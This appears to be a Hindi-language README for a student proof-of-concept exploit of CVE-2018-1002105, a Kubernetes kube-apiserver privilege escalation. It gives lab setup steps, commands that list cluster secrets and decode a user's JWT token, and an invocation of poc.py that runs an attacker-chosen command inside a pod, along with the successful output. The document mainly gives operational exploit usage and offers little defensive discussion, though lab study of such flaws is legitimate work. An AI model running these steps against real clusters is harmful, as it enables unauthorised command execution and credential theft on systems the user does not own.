
CVE-2018-1002105 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉयट, एक Kubernetes विशेषाधिकार वृद्धि भेद्यता जो kube-apiserver के माध्यम से पॉड्स में अनधिकृत कमांड निष्पादन की अनुमति देती है।
सदस्य: Abhishek Rungta, Shubham Saini, Siddhant Sood
हमने एक virtual box इमेज (.ova फ़ाइल) प्रदान की है। इसे डाउनलोड करें और इससे एक VM बनाएँ। प्रदान की गई ova docker v18.09 और minikube v1.9.0 के साथ पूर्व-कॉन्फ़िगर की गई है।
चूंकि हमारी virtual इमेज में पहले से ही minikube और आवश्यक kubernetes संस्करण हैं, बस minikube शुरू करने के लिए निम्न कमांड चलाएँ।
minikube start --kubernetes-version=v1.12.2
निम्न कमांड का उपयोग करके एक नया उपयोगकर्ता और एक नेमस्पेस बनाएँ और बनाए गए उपयोगकर्ता को RBAC भूमिका असाइन करें।
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
maxPerCore सेट को 0 में बदलें।
सिस्टम में संग्रहीत सभी jwt टोकन प्राप्त करने के लिए पहले निम्न कमांड चलाएँ।
kubectl get secrets -A
बनाए गए विशेष उपयोगकर्ता का secret प्राप्त करने के लिए निम्न कमांड चलाएँ:
kubectl -n [namespace] get secrets [user-token] -o json
फिर इसे base64 डिकोड करें।
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
सभी आवश्यक तर्क निर्दिष्ट करें:
-t लक्ष्य ip:port के लिए (आवश्यक)
-j उपयोगकर्ता के JWT टोकन के लिए (आवश्यक)
-p पॉड के लिए (आवश्यक)
-n नेमस्पेस के लिए
-m विधि के लिए (आवश्यक)
-c कंटेनर के लिए
-x हमलावर कमांड के लिए
इनपुट
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
आउटपुट
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
डेमो वीडियो link